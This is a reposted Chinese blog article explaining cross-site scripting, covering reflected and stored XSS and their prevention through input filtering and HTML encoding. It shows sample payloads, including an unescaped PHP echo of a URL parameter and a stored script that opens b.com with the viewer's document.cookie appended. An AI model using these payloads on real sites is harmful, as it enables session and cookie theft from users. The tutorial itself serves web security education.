美文网首页
浅谈常见web安全漏洞之XSS

浅谈常见web安全漏洞之XSS

作者: Lemon不怕酸啊 | 来源:发表于2017-02-28 15:04 被阅读0次

    一、XSS简介

    XSS 全称(Cross Site Scripting) 跨站脚本攻击,为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS,其核心就是恶意攻击者通常在web页面可输入的地方插入恶意js代码或html代码,当这个输入框没有经过安全处理的话,那么恶意js就会执行,从而窃取用户信息甚至做一些其他敏感操作。

    考虑下面这个输入框:

    这个输入框已经输入了“value1”,那假使我要恶意攻击的话,我不会输入value1,我会输入这个东西:

    "/>alert(document.cookie)

    于是,这个输入框最后得到的代码是这样:

    alert(document.cookie)

    看到没,非常巧妙地嵌了一个js进去了,如果我的输入框没有做任何处理,那么这个js就会执行,弹出当前浏览器的cookie。有同学会说,你这是攻击了自己啊。确实是,但是,当这个页面在别人的浏览器中加载的时候,我就可以达到攻击的目的。接下来我们看下恶意攻击者怎样攻击别人(我们不采用输入框的方式,采用url的方式)。

    假设我们有一个网站a.com,一个页面地址如下:

    http://www.a.com/index.php

    该页面可以传一个参数x,后台处理逻辑如下:

    echo $_GET['x'];

    ?>

    如果输入x的值未经任何过滤就直接输出,提交如下:

    http://www.a.com/index.php?x=alert(1)

    然后我把该url或者带该url的页面通过邮件发给别人让别人去点,这时就会在用户的浏览器弹窗提示“1”。攻击者一看,哈,js能执行,这时候攻击者就会精心构造js,比如,我要构造一个js,把用户当前浏览器的cookie发给我,那么当用户访问该url的时候,cookie就被我窃取了。

    上面介绍的这种xss攻击属于非持久型攻击,也就是说,这种攻击只对单个用户生效。

    还有另外一种xss,叫存储型xss,提交的恶意代码会存储在服务器端。这种xss的影响范围会很大。下面来说下这种攻击。

    假设a.com网站可以发文章,并且发文章的文本框没有做任何过滤处理,于是,我写了一篇文章,里面包含这样的代码:

    window.open("www.b.com?param="+document.cookie)

    保存后,某些用户看到了我的文章,看的那一瞬间,这个js就会执行,带着他们的cookie访问了我的网站b.com,于是,凡是看了这篇文章的人,我都能收到他们的cookie。怎么样,存储型的xss危害更大吧!

    二、如何预防

    XSS之所以会发生, 是因为用户输入的数据变成了代码。

    用户输入的一切都是不可信的,所以我们需要对用户的输入进行处理,只允许输入合法的值,其它值一概应该过滤掉。假如某些情况下,我们不能对用户数据进行严格的过滤,那我们也需要对标签进行转换,即对用户输入的数据进行HTML Encode处理,将其中的尖括号、“与符号、单引号、双引号等之类的特殊字符进行编码,并且输出的内容也都需要经过html编码。HTML Encode一般不需要自己实现,一般都有现成的处理方法供调用。

    标签:安全,xss

    转载:http://www.yanyaozhen.com/archives/128/

    相关文章

      网友评论

          本文标题:浅谈常见web安全漏洞之XSS

          本文链接:https://www.haomeiwen.com/subject/ftvxgttx.html